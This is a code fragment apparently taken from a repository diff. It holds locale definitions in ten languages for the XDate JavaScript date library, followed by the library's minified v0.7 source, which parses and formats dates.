monthNamesShort: ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],
dayNames: ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],
dayNamesShort: ["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],
dateFormat: "dddd, MMMM d, yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "Accept",
cancel: "Cancel"
};
XDate.locales['ru'] = {
monthNames: ["Январь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"],
monthNamesShort: ["Янв","Фев","Мар","Апр","Май","Июн","Июл","Авг","Сен","Окт","Ноя","Дек"],
dayNames: ["Воскресенье","Понедельник","Вторник","Среда","Четверг","Пятница","Суббота"],
dayNamesShort: ["Вос","Пон","Вторник","Среда","Чет","Пят","Суб"],
dateFormat: "dddd, MMMM d, yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "Принять",
cancel: "Отмена"
};
XDate.locales['he'] = {
monthNames: ["ינואר","פברואר","מרץ","אפריל","מאי","יוני","יולי","אוגוסט","ספטמבר","אוקטובר","נובמבר","דצמבר"],
monthNamesShort: ["ינואר","פבר","מרץ","אפר","מאי","יוני","יולי","אוג","ספט","אוק","נוב","דצ"],
dayNames: ["ראשון","שני","שלישי","רביעי","חמישי","שישי","שבת"],
dayNamesShort: ["א","ב","ג","ד","ה","ו","שבת"],
dateFormat: "dddd, MMMM d, yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "אישור",
cancel: "ביטול"
};
XDate.locales['it'] = {
monthNames: ["Gennaio","Febbraio","Marzo","Aprile","Maggio","Giugno","Luglio","Agosto","Settembre","Ottobre","Novembre","Dicembre"],
monthNamesShort: ["Gen","Feb","Mar","Apr","Mag","Giu","Lug","Ago","Set","Ott","Nov","Dic"],
dayNames: ["Domenica","Lunedì","Martedì","Mercoledì","Giovedì","Venerdì","Sabato"],
dayNamesShort: ["Dom","Lun","Mar","Mer","Gio","Ven","Sab"],
dateFormat: "dddd, d MMMM yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "Assumi",
cancel: "Annulla"
};
XDate.locales['es'] = {
monthNames: ["Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre"],
monthNamesShort: ["Ene","Feb","Mar","Abr","May","Jun","Jul","Ago","Sep","Oct","Nov","Dic"],
dayNames: ["Domingo","Lunes","Martes","Miércoles","Jueves","Viernes","Sábado"],
dayNamesShort: ["Dom","Lun","Mar","Mié","Jue","Vie","Sáb"],
dateFormat: "dddd, d 'de' MMMM 'de' yyyy",
dateFormatMonth: "MMMM 'de' yyyy",
dateFormatYear: "yyyy",
ok: "Aplicar",
cancel: "Cancelar"
};
XDate.locales['nl'] = {
monthNames: ["Januari","Februari","Maart","April","Mei","Juni","Juli","Augustus","September","Oktober","November","December"],
monthNamesShort: ["Jan","Feb","Mrt","Apr","Mei","Jun","Jul","Aug","Sep","Okt","Nov","Dec"],
dayNames: ["Zondag","Maandag","Dinsdag","Woensdag","Donderdag","Vrijdag","Zaterdag"],
dayNamesShort: ["Zo","Ma","Di","Wo","Do","Vr","Za"],
dateFormat: "dddd, d MMMM yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "Overnemen",
cancel: "Annuleren"
};
XDate.locales['sv'] = {
monthNames: ["Januari","Februari","Mars","April","Maj","Juni","Juli","Augusti","September","Oktober","November","December"],
monthNamesShort: ["Jan","Feb","Mar","Apr","Maj","Jun","Jul","Aug","Sep","Okt","Nov","Dec"],
dayNames: ["Söndag","Måndag","Tisdag","Onsdag","Torsdag","Fredag","Lördag"],
dayNamesShort: ["Sö","Må","Ti","On","To","Fr","Lö"],
dateFormat: "dddd, d MMMM yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "Klar",
cancel: "Avbryt"
};
XDate.locales['pt-br'] = {
monthNames: ["Janeiro","Fevereiro","Março","Abril","Maio","Junho","Julho","Agosto","Setembro","Outubro","Novembro","Dezembro"],
monthNamesShort: ["Jan","Fev","Mar","Abr","Mai","Jun","Jul","Ago","Set","Out","Nov","Dez"],
dayNames: ["Domingo","Segunda-feira","Terça-feira","Quarta-feira","Quinta-feira","Sexta-feira","Sábado"],
dayNamesShort: ["Dom","Seg","Ter","Qua","Qui","Sex","Sáb"],
dateFormat: "dddd, d - MMMM - yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "Ok",
cancel: "Cancelar"
};
XDate.locales['hr'] = {
monthNames: ["Siječanj","Veljača","Ožujak","Travanj","Svibanj","Lipanj","Srpanj","Kolovoz","Rujan","Listopad","Studeni","Prosinac"],
monthNamesShort: ["Sij","Velj","Ožu","Tra","Svi","Lip","Srp","Kol","Ruj","Lis","Stu","Pro"],
dayNames: ["Nedjelja","Ponedjeljak","Utorak","Srijeda","Četvrtak","Petak","Subota"],
dayNamesShort: ["Ned","Pon","Uto","Sri","Čet","Pet","Sub"],
dateFormat: "dddd, d. MMMM yyyy.",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "Potvrdi",
cancel: "Prekid"
};
XDate.locales['cs'] = {
monthNames: ["ledna","února","března","dubna","května","června","července","srpna","září","října","listopadu","prosince"],
monthNamesShort: ["Led","Úno","Bře","Dub","Kvě","Čer","Červ","Srp","Zář","Říj","Lis","Pro"],
dayNames: ["Neděle","Pondělí","Úterý","Středa","Čtvrtek","Pátek","Sobota"],
dayNamesShort: ["Ne","Po","Út","St","Čt","Pá","So"],
dateFormat: "dddd, d. MMMM yyyy",
dateFormatMonth: "MMMM yyyy",
dateFormatYear: "yyyy",
ok: "OK",
cancel: "Zrušit"
};
+18
View File
@@ -0,0 +1,18 @@
/*
XDate v0.7
Docs & Licensing: http://arshaw.com/xdate/
*/
var XDate=function(g,m,A,p){function f(){var a=this instanceof f?this:new f,c=arguments,b=c.length,d;typeof c[b-1]=="boolean"&&(d=c[--b],c=q(c,0,b));if(b)if(b==1)if(b=c[0],b instanceof g||typeof b=="number")a[0]=new g(+b);else if(b instanceof f){var c=a,h=new g(+b[0]);if(l(b))h.toString=w;c[0]=h}else{if(typeof b=="string"){a[0]=new g(0);a:{for(var c=b,b=d||!1,h=f.parsers,r=0,e;r<h.length;r++)if(e=h[r](c,b,a)){a=e;break a}a[0]=new g(c)}}}else a[0]=new g(n.apply(g,c)),d||(a[0]=s(a[0]));else a[0]=new g;
typeof d=="boolean"&&B(a,d);return a}function l(a){return a[0].toString===w}function B(a,c,b){if(c){if(!l(a))b&&(a[0]=new g(n(a[0].getFullYear(),a[0].getMonth(),a[0].getDate(),a[0].getHours(),a[0].getMinutes(),a[0].getSeconds(),a[0].getMilliseconds()))),a[0].toString=w}else l(a)&&(a[0]=b?s(a[0]):new g(+a[0]));return a}function C(a,c,b,d,h){var e=k(j,a[0],h),a=k(D,a[0],h),h=c==1?b%12:e(1),f=!1;d.length==2&&typeof d[1]=="boolean"&&(f=d[1],d=[b]);a(c,d);f&&e(1)!=h&&(a(1,[e(1)-1]),a(2,[E(e(0),e(1))]))}
function F(a,c,b,d){var b=Number(b),h=m.floor(b);a["set"+o[c]](a["get"+o[c]]()+h,d||!1);h!=b&&c<6&&F(a,c+1,(b-h)*G[c],d)}function H(a,c,b){var a=a.clone().setUTCMode(!0,!0),c=f(c).setUTCMode(!0,!0),d=0;if(b==0||b==1){for(var h=6;h>=b;h--)d/=G[h],d+=j(c,!1,h)-j(a,!1,h);b==1&&(d+=(c.getFullYear()-a.getFullYear())*12)}else b==2?(b=a.toDate().setUTCHours(0,0,0,0),d=c.toDate().setUTCHours(0,0,0,0),d=m.round((d-b)/864E5)+(c-d-(a-b))/864E5):d=(c-a)/[36E5,6E4,1E3,1][b-3];return d}function t(a){var c=a(0),
b=a(1),a=a(2),b=new g(n(c,b,a)),d=u(c),a=d;b<d?a=u(c-1):(c=u(c+1),b>=c&&(a=c));return m.floor(m.round((b-a)/864E5)/7)+1}function u(a){a=new g(n(a,0,4));a.setUTCDate(a.getUTCDate()-(a.getUTCDay()+6)%7);return a}function I(a,c,b,d){var h=k(j,a,d),e=k(D,a,d),b=u(b===p?h(0):b);d||(b=s(b));a.setTime(+b);e(2,[h(2)+(c-1)*7])}function J(a,c,b,d,e){var r=f.locales,g=r[f.defaultLocale]||{},i=k(j,a,e),b=(typeof b=="string"?r[b]:b)||{};return x(a,c,function(a){if(d)for(var b=(a==7?2:a)-1;b>=0;b--)d.push(i(b));
return i(a)},function(a){return b[a]||g[a]},e)}function x(a,c,b,d,e){for(var f,g,i="";f=c.match(M);){i+=c.substr(0,f.index);if(f[1]){g=i;for(var i=a,j=f[1],l=b,m=d,n=e,k=j.length,o=void 0,q="";k>0;)o=N(i,j.substr(0,k),l,m,n),o!==p?(q+=o,j=j.substr(k),k=j.length):k--;i=g+(q+j)}else f[3]?(g=x(a,f[4],b,d,e),parseInt(g.replace(/\D/g,""),10)&&(i+=g)):i+=f[7]||"'";c=c.substr(f.index+f[0].length)}return i+c}function N(a,c,b,d,e){var g=f.formatters[c];if(typeof g=="string")return x(a,g,b,d,e);else if(typeof g==
"function")return g(a,e||!1,d);switch(c){case "fff":return i(b(6),3);case "s":return b(5);case "ss":return i(b(5));case "m":return b(4);case "mm":return i(b(4));case "h":return b(3)%12||12;case "hh":return i(b(3)%12||12);case "H":return b(3);case "HH":return i(b(3));case "d":return b(2);case "dd":return i(b(2));case "ddd":return d("dayNamesShort")[b(7)]||"";case "dddd":return d("dayNames")[b(7)]||"";case "M":return b(1)+1;case "MM":return i(b(1)+1);case "MMM":return d("monthNamesShort")[b(1)]||"";
case "MMMM":return d("monthNames")[b(1)]||"";case "yy":return(b(0)+"").substring(2);case "yyyy":return b(0);case "t":return v(b,d).substr(0,1).toLowerCase();case "tt":return v(b,d).toLowerCase();case "T":return v(b,d).substr(0,1);case "TT":return v(b,d);case "z":case "zz":case "zzz":return e?c="Z":(d=a.getTimezoneOffset(),a=d<0?"+":"-",b=m.floor(m.abs(d)/60),d=m.abs(d)%60,e=b,c=="zz"?e=i(b):c=="zzz"&&(e=i(b)+":"+i(d)),c=a+e),c;case "w":return t(b);case "ww":return i(t(b));case "S":return c=b(2),c>
10&&c<20?"th":["st","nd","rd"][c%10-1]||"th"}}function v(a,c){return a(3)<12?c("amDesignator"):c("pmDesignator")}function y(a){return!isNaN(+a[0])}function j(a,c,b){return a["get"+(c?"UTC":"")+o[b]]()}function D(a,c,b,d){a["set"+(c?"UTC":"")+o[b]].apply(a,d)}function s(a){return new g(a.getUTCFullYear(),a.getUTCMonth(),a.getUTCDate(),a.getUTCHours(),a.getUTCMinutes(),a.getUTCSeconds(),a.getUTCMilliseconds())}function E(a,c){return 32-(new g(n(a,c,32))).getUTCDate()}function z(a){return function(){return a.apply(p,
[this].concat(q(arguments)))}}function k(a){var c=q(arguments,1);return function(){return a.apply(p,c.concat(q(arguments)))}}function q(a,c,b){return A.prototype.slice.call(a,c||0,b===p?a.length:b)}function K(a,c){for(var b=0;b<a.length;b++)c(a[b],b)}function i(a,c){c=c||2;for(a+="";a.length<c;)a="0"+a;return a}var o="FullYear,Month,Date,Hours,Minutes,Seconds,Milliseconds,Day,Year".split(","),L=["Years","Months","Days"],G=[12,31,24,60,60,1E3,1],M=/(([a-zA-Z])\2*)|(\((('.*?'|\(.*?\)|.)*?)\))|('(.*?)')/,
n=g.UTC,w=g.prototype.toUTCString,e=f.prototype;e.length=1;e.splice=A.prototype.splice;e.getUTCMode=z(l);e.setUTCMode=z(B);e.getTimezoneOffset=function(){return l(this)?0:this[0].getTimezoneOffset()};K(o,function(a,c){e["get"+a]=function(){return j(this[0],l(this),c)};c!=8&&(e["getUTC"+a]=function(){return j(this[0],!0,c)});c!=7&&(e["set"+a]=function(a){C(this,c,a,arguments,l(this));return this},c!=8&&(e["setUTC"+a]=function(a){C(this,c,a,arguments,!0);return this},e["add"+(L[c]||a)]=function(a,d){F(this,
c,a,d);return this},e["diff"+(L[c]||a)]=function(a){return H(this,a,c)}))});e.getWeek=function(){return t(k(j,this,!1))};e.getUTCWeek=function(){return t(k(j,this,!0))};e.setWeek=function(a,c){I(this,a,c,!1);return this};e.setUTCWeek=function(a,c){I(this,a,c,!0);return this};e.addWeeks=function(a){return this.addDays(Number(a)*7)};e.diffWeeks=function(a){return H(this,a,2)/7};f.parsers=[function(a,c,b){if(a=a.match(/^(\d{4})(-(\d{2})(-(\d{2})([T ](\d{2}):(\d{2})(:(\d{2})(\.(\d+))?)?(Z|(([-+])(\d{2})(:?(\d{2}))?))?)?)?)?$/)){var d=
new g(n(a[1],a[3]?a[3]-1:0,a[5]||1,a[7]||0,a[8]||0,a[10]||0,a[12]?Number("0."+a[12])*1E3:0));a[13]?a[14]&&d.setUTCMinutes(d.getUTCMinutes()+(a[15]=="-"?1:-1)*(Number(a[16])*60+(a[18]?Number(a[18]):0))):c||(d=s(d));return b.setTime(+d)}}];f.parse=function(a){return+f(""+a)};e.toString=function(a,c,b){return a===p||!y(this)?this[0].toString():J(this,a,c,b,l(this))};e.toUTCString=e.toGMTString=function(a,c,b){return a===p||!y(this)?this[0].toUTCString():J(this,a,c,b,!0)};e.toISOString=function(){return this.toUTCString("yyyy-MM-dd'T'HH:mm:ss(.fff)zzz")};
f.defaultLocale="";f.locales={"":{monthNames:"January,February,March,April,May,June,July,August,September,October,November,December".split(","),monthNamesShort:"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec".split(","),dayNames:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday".split(","),dayNamesShort:"Sun,Mon,Tue,Wed,Thu,Fri,Sat".split(","),amDesignator:"AM",pmDesignator:"PM"}};f.formatters={i:"yyyy-MM-dd'T'HH:mm:ss(.fff)",u:"yyyy-MM-dd'T'HH:mm:ss(.fff)zzz"};K("getTime,valueOf,toDateString,toTimeString,toLocaleString,toLocaleDateString,toLocaleTimeString,toJSON".split(","),
function(a){e[a]=function(){return this[0][a]()}});e.setTime=function(a){this[0].setTime(a);return this};e.valid=z(y);e.clone=function(){return new f(this)};e.clearTime=function(){return this.setHours(0,0,0,0)};e.toDate=function(){return new g(+this[0])};f.now=function(){return+new g};f.today=function(){return(new f).clearTime()};f.UTC=n;f.getDaysInMonth=E;if(typeof module!=="undefined"&&module.exports)module.exports=f;return f}(Date,Math,Array);